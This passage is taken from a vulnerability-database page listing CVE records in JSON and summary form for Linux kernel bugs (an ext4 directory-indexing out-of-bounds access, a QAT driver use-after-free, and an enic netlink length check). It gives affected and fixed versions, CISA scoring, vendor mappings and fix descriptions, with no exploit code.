              "version": "ac27a0ec112a089f1a5102bc8dffc79c8c815571",
              "versionType": "git"
            },
            {
              "lessThan": "9d241b7a39af192d1bb422714a458982c7cc67a2",
              "status": "affected",
              "version": "ac27a0ec112a089f1a5102bc8dffc79c8c815571",
              "versionType": "git"
            },
            {
              "lessThan": "cdd345321699042ece4a9d2e70754d2397d378c5",
              "status": "affected",
              "version": "ac27a0ec112a089f1a5102bc8dffc79c8c815571",
              "versionType": "git"
            },
            {
              "lessThan": "50ea741def587a64e08879ce6c6a30131f7111e7",
              "status": "affected",
              "version": "ac27a0ec112a089f1a5102bc8dffc79c8c815571",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/namei.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.19"
            },
            {
              "lessThan": "2.6.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "2.6.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "2.6.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "2.6.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "2.6.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "2.6.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "2.6.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "2.6.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: check dot and dotdot of dx_root before making dir indexed\n\nSyzbot reports a issue as follows:\n============================================\nBUG: unable to handle page fault for address: ffffed11022e24fe\nPGD 23ffee067 P4D 23ffee067 PUD 0\nOops: Oops: 0000 [#1] PREEMPT SMP KASAN PTI\nCPU: 0 PID: 5079 Comm: syz-executor306 Not tainted 6.10.0-rc5-g55027e689933 #0\nCall Trace:\n \u003cTASK\u003e\n make_indexed_dir+0xdaf/0x13c0 fs/ext4/namei.c:2341\n ext4_add_entry+0x222a/0x25d0 fs/ext4/namei.c:2451\n ext4_rename fs/ext4/namei.c:3936 [inline]\n ext4_rename2+0x26e5/0x4370 fs/ext4/namei.c:4214\n[...]\n============================================\n\nThe immediate cause of this problem is that there is only one valid dentry\nfor the block to be split during do_split, so split==0 results in out of\nbounds accesses to the map triggering the issue.\n\n    do_split\n      unsigned split\n      dx_make_map\n       count = 1\n      split = count/2 = 0;\n      continued = hash2 == map[split - 1].hash;\n       ---\u003e map[4294967295]\n\nThe maximum length of a filename is 255 and the minimum block size is 1024,\nso it is always guaranteed that the number of entries is greater than or\nequal to 2 when do_split() is called.\n\nBut syzbot\u0027s crafted image has no dot and dotdot in dir, and the dentry\ndistribution in dirblock is as follows:\n\n  bus     dentry1          hole           dentry2           free\n|xx--|xx-------------|...............|xx-------------|...............|\n0   12 (8+248)=256  268     256     524 (8+256)=264 788     236     1024\n\nSo when renaming dentry1 increases its name_len length by 1, neither hole\nnor free is sufficient to hold the new dentry, and make_indexed_dir() is\ncalled.\n\nIn make_indexed_dir() it is assumed that the first two entries of the\ndirblock must be dot and dotdot, so bus and dentry1 are left in dx_root\nbecause they are treated as dot and dotdot, and only dentry2 is moved\nto the new leaf block. That\u0027s why count is equal to 1.\n\nTherefore add the ext4_check_dx_root() helper function to add more sanity\nchecks to dot and dotdot before starting the conversion to avoid the above\nissue."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:29:48.607Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b80575ffa98b5bb3a5d4d392bfe4c2e03e9557db"
        },
        {
          "url": "https://git.kernel.org/stable/c/19e13b4d7f0303186fcc891aba8d0de7c8fdbda8"
        },
        {
          "url": "https://git.kernel.org/stable/c/42d420517072028fb0eb852c358056b7717ba5aa"
        },
        {
          "url": "https://git.kernel.org/stable/c/8afe06ed3be7a874b3cd82ef5f8959aca8d6429a"
        },
        {
          "url": "https://git.kernel.org/stable/c/abb411ac991810c0bcbe51c2e76d2502bf611b5c"
        },
        {
          "url": "https://git.kernel.org/stable/c/9d241b7a39af192d1bb422714a458982c7cc67a2"
        },
        {
          "url": "https://git.kernel.org/stable/c/cdd345321699042ece4a9d2e70754d2397d378c5"
        },
        {
          "url": "https://git.kernel.org/stable/c/50ea741def587a64e08879ce6c6a30131f7111e7"
        }
      ],
      "title": "ext4: check dot and dotdot of dx_root before making dir indexed",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42305",
    "datePublished": "2024-08-17T09:09:11.296Z",
    "dateReserved": "2024-07-30T07:40:12.273Z",
    "dateUpdated": "2026-05-12T11:56:51.529Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26974 (GCVE-0-2024-26974)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:20 – Updated: 2026-05-12 11:50

Title

crypto: qat - resolve race condition during AER recovery

Summary

In the Linux kernel, the following vulnerability has been resolved: crypto: qat - resolve race condition during AER recovery During the PCI AER system's error recovery process, the kernel driver may encounter a race condition with freeing the reset_data structure's memory. If the device restart will take more than 10 seconds the function scheduling that restart will exit due to a timeout, and the reset_data structure will be freed. However, this data structure is used for completion notification after the restart is completed, which leads to a UAF bug. This results in a KFENCE bug notice. BUG: KFENCE: use-after-free read in adf_device_reset_worker+0x38/0xa0 [intel_qat] Use-after-free read at 0x00000000bc56fddf (in kfence-#142): adf_device_reset_worker+0x38/0xa0 [intel_qat] process_one_work+0x173/0x340 To resolve this race condition, the memory associated to the container of the work_struct is freed on the worker if the timeout expired, otherwise on the function that schedules the worker. The timeout detection can be done by checking if the caller is still waiting for completion or not by using completion_done() function.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/daba62d9eeddcc5b1…
https://git.kernel.org/stable/c/8e81cd58aee14a470…
https://git.kernel.org/stable/c/d03092550f526a79c…
https://git.kernel.org/stable/c/4ae5a97781ce7d6ec…
https://git.kernel.org/stable/c/226fc408c5fcd23cc…
https://git.kernel.org/stable/c/8a5a7611ccc7b1fba…
https://git.kernel.org/stable/c/0c2cf5142bfb634c0…
https://git.kernel.org/stable/c/bb279ead42263e9fb…
https://git.kernel.org/stable/c/7d42e097607c4d246…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d8cba25d2c68992a6e7c1d329b690a9ebe01167d , < daba62d9eeddcc5b1081be7d348ca836c83c59d7 (git) Affected: d8cba25d2c68992a6e7c1d329b690a9ebe01167d , < 8e81cd58aee14a470891733181a47d123193ba81 (git) Affected: d8cba25d2c68992a6e7c1d329b690a9ebe01167d , < d03092550f526a79cf1ade7f0dfa74906f39eb71 (git) Affected: d8cba25d2c68992a6e7c1d329b690a9ebe01167d , < 4ae5a97781ce7d6ecc9c7055396535815b64ca4f (git) Affected: d8cba25d2c68992a6e7c1d329b690a9ebe01167d , < 226fc408c5fcd23cc4186f05ea3a09a7a9aef2f7 (git) Affected: d8cba25d2c68992a6e7c1d329b690a9ebe01167d , < 8a5a7611ccc7b1fba8d933a9f22a2e76859d94dc (git) Affected: d8cba25d2c68992a6e7c1d329b690a9ebe01167d , < 0c2cf5142bfb634c0ef0a1a69cdf37950747d0be (git) Affected: d8cba25d2c68992a6e7c1d329b690a9ebe01167d , < bb279ead42263e9fb09480f02a4247b2c287d828 (git) Affected: d8cba25d2c68992a6e7c1d329b690a9ebe01167d , < 7d42e097607c4d246d99225bf2b195b6167a210c (git)
Linux	Linux	Affected: 3.17 Unaffected: 0 , < 3.17 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26974",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T17:47:45.425638Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:49:36.315Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.752Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/daba62d9eeddcc5b1081be7d348ca836c83c59d7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8e81cd58aee14a470891733181a47d123193ba81"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d03092550f526a79cf1ade7f0dfa74906f39eb71"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4ae5a97781ce7d6ecc9c7055396535815b64ca4f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/226fc408c5fcd23cc4186f05ea3a09a7a9aef2f7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8a5a7611ccc7b1fba8d933a9f22a2e76859d94dc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0c2cf5142bfb634c0ef0a1a69cdf37950747d0be"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bb279ead42263e9fb09480f02a4247b2c287d828"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7d42e097607c4d246d99225bf2b195b6167a210c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:58.844Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/intel/qat/qat_common/adf_aer.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "daba62d9eeddcc5b1081be7d348ca836c83c59d7",
              "status": "affected",
              "version": "d8cba25d2c68992a6e7c1d329b690a9ebe01167d",
              "versionType": "git"
            },
            {
              "lessThan": "8e81cd58aee14a470891733181a47d123193ba81",
              "status": "affected",
              "version": "d8cba25d2c68992a6e7c1d329b690a9ebe01167d",
              "versionType": "git"
            },
            {
              "lessThan": "d03092550f526a79cf1ade7f0dfa74906f39eb71",
              "status": "affected",
              "version": "d8cba25d2c68992a6e7c1d329b690a9ebe01167d",
              "versionType": "git"
            },
            {
              "lessThan": "4ae5a97781ce7d6ecc9c7055396535815b64ca4f",
              "status": "affected",
              "version": "d8cba25d2c68992a6e7c1d329b690a9ebe01167d",
              "versionType": "git"
            },
            {
              "lessThan": "226fc408c5fcd23cc4186f05ea3a09a7a9aef2f7",
              "status": "affected",
              "version": "d8cba25d2c68992a6e7c1d329b690a9ebe01167d",
              "versionType": "git"
            },
            {
              "lessThan": "8a5a7611ccc7b1fba8d933a9f22a2e76859d94dc",
              "status": "affected",
              "version": "d8cba25d2c68992a6e7c1d329b690a9ebe01167d",
              "versionType": "git"
            },
            {
              "lessThan": "0c2cf5142bfb634c0ef0a1a69cdf37950747d0be",
              "status": "affected",
              "version": "d8cba25d2c68992a6e7c1d329b690a9ebe01167d",
              "versionType": "git"
            },
            {
              "lessThan": "bb279ead42263e9fb09480f02a4247b2c287d828",
              "status": "affected",
              "version": "d8cba25d2c68992a6e7c1d329b690a9ebe01167d",
              "versionType": "git"
            },
            {
              "lessThan": "7d42e097607c4d246d99225bf2b195b6167a210c",
              "status": "affected",
              "version": "d8cba25d2c68992a6e7c1d329b690a9ebe01167d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/intel/qat/qat_common/adf_aer.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.17"
            },
            {
              "lessThan": "3.17",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qat - resolve race condition during AER recovery\n\nDuring the PCI AER system\u0027s error recovery process, the kernel driver\nmay encounter a race condition with freeing the reset_data structure\u0027s\nmemory. If the device restart will take more than 10 seconds the function\nscheduling that restart will exit due to a timeout, and the reset_data\nstructure will be freed. However, this data structure is used for\ncompletion notification after the restart is completed, which leads\nto a UAF bug.\n\nThis results in a KFENCE bug notice.\n\n  BUG: KFENCE: use-after-free read in adf_device_reset_worker+0x38/0xa0 [intel_qat]\n  Use-after-free read at 0x00000000bc56fddf (in kfence-#142):\n  adf_device_reset_worker+0x38/0xa0 [intel_qat]\n  process_one_work+0x173/0x340\n\nTo resolve this race condition, the memory associated to the container\nof the work_struct is freed on the worker if the timeout expired,\notherwise on the function that schedules the worker.\nThe timeout detection can be done by checking if the caller is\nstill waiting for completion or not by using completion_done() function."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:58.285Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/daba62d9eeddcc5b1081be7d348ca836c83c59d7"
        },
        {
          "url": "https://git.kernel.org/stable/c/8e81cd58aee14a470891733181a47d123193ba81"
        },
        {
          "url": "https://git.kernel.org/stable/c/d03092550f526a79cf1ade7f0dfa74906f39eb71"
        },
        {
          "url": "https://git.kernel.org/stable/c/4ae5a97781ce7d6ecc9c7055396535815b64ca4f"
        },
        {
          "url": "https://git.kernel.org/stable/c/226fc408c5fcd23cc4186f05ea3a09a7a9aef2f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/8a5a7611ccc7b1fba8d933a9f22a2e76859d94dc"
        },
        {
          "url": "https://git.kernel.org/stable/c/0c2cf5142bfb634c0ef0a1a69cdf37950747d0be"
        },
        {
          "url": "https://git.kernel.org/stable/c/bb279ead42263e9fb09480f02a4247b2c287d828"
        },
        {
          "url": "https://git.kernel.org/stable/c/7d42e097607c4d246d99225bf2b195b6167a210c"
        }
      ],
      "title": "crypto: qat - resolve race condition during AER recovery",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26974",
    "datePublished": "2024-05-01T05:20:14.163Z",
    "dateReserved": "2024-02-19T14:20:24.203Z",
    "dateUpdated": "2026-05-12T11:50:58.844Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38659 (GCVE-0-2024-38659)

Vulnerability from cvelistv5 – Published: 2024-06-21 10:28 – Updated: 2026-05-12 11:55

Title

enic: Validate length of nl attributes in enic_set_vf_port

Summary

In the Linux kernel, the following vulnerability has been resolved: enic: Validate length of nl attributes in enic_set_vf_port enic_set_vf_port assumes that the nl attribute IFLA_PORT_PROFILE is of length PORT_PROFILE_MAX and that the nl attributes IFLA_PORT_INSTANCE_UUID, IFLA_PORT_HOST_UUID are of length PORT_UUID_MAX. These attributes are validated (in the function do_setlink in rtnetlink.c) using the nla_policy ifla_port_policy. The policy defines IFLA_PORT_PROFILE as NLA_STRING, IFLA_PORT_INSTANCE_UUID as NLA_BINARY and IFLA_PORT_HOST_UUID as NLA_STRING. That means that the length validation using the policy is for the max size of the attributes and not on exact size so the length of these attributes might be less than the sizes that enic_set_vf_port expects. This might cause an out of bands read access in the memcpys of the data of these attributes in enic_set_vf_port.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/2b649d7e0cb42a660…
https://git.kernel.org/stable/c/ca63fb7af9d3e531a…
https://git.kernel.org/stable/c/3c0d36972edbe56fc…
https://git.kernel.org/stable/c/25571a12fbc8a1283…
https://git.kernel.org/stable/c/7077c22f84f41974a…
https://git.kernel.org/stable/c/f6638e955ca00c489…
https://git.kernel.org/stable/c/aee1955a1509a921c…
https://git.kernel.org/stable/c/e8021b94b0412c37b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: f8bd909183acffad68780b10c1cdf36161cfd5d1 , < 2b649d7e0cb42a660f0260ef25fd55fdc9c6c600 (git) Affected: f8bd909183acffad68780b10c1cdf36161cfd5d1 , < ca63fb7af9d3e531aa25f7ae187bfc6c7166ec2d (git) Affected: f8bd909183acffad68780b10c1cdf36161cfd5d1 , < 3c0d36972edbe56fcf98899622d9b90ac9965227 (git) Affected: f8bd909183acffad68780b10c1cdf36161cfd5d1 , < 25571a12fbc8a1283bd8380d461267956fd426f7 (git) Affected: f8bd909183acffad68780b10c1cdf36161cfd5d1 , < 7077c22f84f41974a711604a42fd0e0684232ee5 (git) Affected: f8bd909183acffad68780b10c1cdf36161cfd5d1 , < f6638e955ca00c489894789492776842e102af9c (git) Affected: f8bd909183acffad68780b10c1cdf36161cfd5d1 , < aee1955a1509a921c05c70dad5d6fc8563dfcb31 (git) Affected: f8bd909183acffad68780b10c1cdf36161cfd5d1 , < e8021b94b0412c37bcc79027c2e382086b6ce449 (git)
Linux	Linux	Affected: 2.6.35 Unaffected: 0 , < 2.6.35 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38659",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T13:26:27.611937Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T13:26:37.555Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:55.964Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2b649d7e0cb42a660f0260ef25fd55fdc9c6c600"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ca63fb7af9d3e531aa25f7ae187bfc6c7166ec2d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3c0d36972edbe56fcf98899622d9b90ac9965227"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/25571a12fbc8a1283bd8380d461267956fd426f7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7077c22f84f41974a711604a42fd0e0684232ee5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f6638e955ca00c489894789492776842e102af9c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/aee1955a1509a921c05c70dad5d6fc8563dfcb31"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e8021b94b0412c37bcc79027c2e382086b6ce449"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:14.627Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/cisco/enic/enic_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2b649d7e0cb42a660f0260ef25fd55fdc9c6c600",
              "status": "affected",
              "version": "f8bd909183acffad68780b10c1cdf36161cfd5d1",
              "versionType": "git"
            },
            {
              "lessThan": "ca63fb7af9d3e531aa25f7ae187bfc6c7166ec2d",
              "status": "affected",
              "version": "f8bd909183acffad68780b10c1cdf36161cfd5d1",
              "versionType": "git"
            },
            {
              "lessThan": "3c0d36972edbe56fcf98899622d9b90ac9965227",
              "status": "affected",
              "version": "f8bd909183acffad68780b10c1cdf36161cfd5d1",
              "versionType": "git"
            },
            {
              "lessThan": "25571a12fbc8a1283bd8380d461267956fd426f7",
              "status": "affected",
              "version": "f8bd909183acffad68780b10c1cdf36161cfd5d1",
              "versionType": "git"
            },
            {
              "lessThan": "7077c22f84f41974a711604a42fd0e0684232ee5",
              "status": "affected",
